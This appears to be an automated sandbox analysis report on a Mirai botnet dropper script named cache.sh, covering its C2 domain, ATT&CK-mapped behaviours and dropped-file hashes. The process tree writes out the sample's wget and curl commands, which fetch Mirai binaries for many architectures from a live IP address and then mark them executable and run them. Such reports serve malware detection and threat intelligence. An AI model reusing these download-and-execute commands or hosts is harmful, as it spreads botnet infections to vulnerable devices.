Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/09/2026, 18:00

General

  • Target
    cache.sh
  • Size 4KB
  • Sample260902-wlqx3ack3t
  • SHA256 abdc8e3e53c5c9b33da7d0bc1c25ca005802e39c86b88fcf18f4524d76e54c72
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • hey.stresser.fan

Extracted

Family
  • mirai

C2
  • hey.stresser.fan

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (51197) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 24 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 11 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 42 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 12 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 11 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 31 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cache.sh
    /tmp/cache.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:656
    • /usr/bin/wget
      wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.x86
      2⤵
      • Writes file to tmp directory
      PID:661
    • /usr/bin/curl
      curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:682
    • /bin/cat
      cat MMaaRRiiOisecTanee.x86
      2⤵
        PID:684
      • /bin/chmod
        chmod +x cache.sh lovers MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
        2⤵
        • File and Directory Permissions Modification
        PID:685
      • /tmp/lovers
        ./lovers lover.ss
        2⤵
          PID:686
        • /usr/bin/wget
          wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:689
        • /usr/bin/curl
          curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:690
        • /bin/cat
          cat MMaaRRiiOisecTanee.mips
          2⤵
          • System Network Configuration Discovery
          PID:705
        • /bin/chmod
          chmod +x cache.sh lovers MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
          2⤵
          • File and Directory Permissions Modification
          PID:707
        • /tmp/lovers
          ./lovers lover.ss
          2⤵
            PID:708
          • /usr/bin/wget
            wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.mpsl
            2⤵
            • Writes file to tmp directory
            PID:711
          • /usr/bin/curl
            curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.mpsl
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:728
          • /bin/cat
            cat MMaaRRiiOisecTanee.mpsl
            2⤵
              PID:742
            • /bin/chmod
              chmod +x cache.sh lovers MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
              2⤵
              • File and Directory Permissions Modification
              PID:743
            • /tmp/lovers
              ./lovers lover.ss
              2⤵
                PID:744
              • /usr/bin/wget
                wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm
                2⤵
                • Writes file to tmp directory
                PID:746
              • /usr/bin/curl
                curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:747
              • /bin/cat
                cat MMaaRRiiOisecTanee.arm
                2⤵
                  PID:754
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:756
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Changes its process name
                  PID:758
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:761
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm5
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:783
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:790
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:791
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm6
                  2⤵
                  • Writes file to tmp directory
                  PID:797
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm6
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:802
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:804
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Reads process memory
                  • Changes its process name
                  • Reads system network configuration
                  PID:805
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:809
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:814
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:816
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Reads process memory
                  • Changes its process name
                  • Reads system network configuration
                  PID:817
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:823
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.ppc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:828
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.x86 systemd-private-75805501d8c24107a65a95ceec181427-systemd-timedated.service-3RnawQ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:830
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:831
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.m68k
                  2⤵
                  • Writes file to tmp directory
                  PID:835
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.m68k
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:841
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:847
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Reads process memory
                  • Changes its process name
                  • Reads system network configuration
                  PID:848
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.sh4
                  2⤵
                  • Writes file to tmp directory
                  PID:852
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.sh4
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:857
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:859
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Reads process memory
                  • Changes its process name
                  • Reads system network configuration
                  PID:860
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.spc
                  2⤵
                  • Writes file to tmp directory
                  PID:866
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.spc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:871
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:873
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Reads process memory
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:874
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arc
                  2⤵
                  • Writes file to tmp directory
                  PID:881
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.arc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:886
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:888
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Reads process memory
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:889
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.x86_64
                  2⤵
                  • Writes file to tmp directory
                  PID:898
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.x86_64
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:909
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 MMaaRRiiOisecTanee.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:911
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Reads process memory
                  • Changes its process name
                  • Reads system network configuration
                  PID:912
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.i686
                  2⤵
                  • Writes file to tmp directory
                  PID:916
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.i686
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:923
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.i686 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 MMaaRRiiOisecTanee.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:925
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  PID:926
                • /usr/bin/wget
                  wget http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.i486
                  2⤵
                  • Writes file to tmp directory
                  PID:934
                • /usr/bin/curl
                  curl -O http://94.154.43.118/z0l1mxjm4mdl4jjfjf7sb2vdmv/MMaaRRiiOisecTanee.i486
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:935
                • /bin/chmod
                  chmod +x cache.sh lovers MMaaRRiiOisecTanee.arc MMaaRRiiOisecTanee.arm MMaaRRiiOisecTanee.arm5 MMaaRRiiOisecTanee.arm6 MMaaRRiiOisecTanee.arm7 MMaaRRiiOisecTanee.i486 MMaaRRiiOisecTanee.i686 MMaaRRiiOisecTanee.m68k MMaaRRiiOisecTanee.mips MMaaRRiiOisecTanee.mpsl MMaaRRiiOisecTanee.ppc MMaaRRiiOisecTanee.sh4 MMaaRRiiOisecTanee.spc MMaaRRiiOisecTanee.x86 MMaaRRiiOisecTanee.x86_64
                  2⤵
                  • File and Directory Permissions Modification
                  PID:937
                • /tmp/lovers
                  ./lovers lover.ss
                  2⤵
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Reads process memory
                  • Changes its process name
                  • Reads system network configuration
                  PID:938

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    MMaaRRiiOisecTanee.x86

                    • Path /tmp/MMaaRRiiOisecTanee.x86
                    • Size 77KB
                    • SHA256 f6436608095cd0d25dde490e6ce7b23c9bad762f278efae6aa0201a9a68b3cba
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    lovers

                    • Path /tmp/lovers
                    • Size 110KB
                    • SHA256 0bbece3dc42199a2cc3db4e7685e5e6078084203e51e9ef6df657038cf79b306
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    lovers

                    • Path /tmp/lovers
                    • Size 114KB
                    • SHA256 b689280b4f803b16c44dfec32d1090db70bafb18e35555d118519b79a5b7db4a
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    lovers

                    • Path /tmp/lovers
                    • Size 88KB
                    • SHA256 a69adca11b2ae199c00bd0d3d74535bb5aa3680b7e0de357f3d3c1428fb29aaa
                    • MD5 SHA1 SHA512 SSDEEP TLSH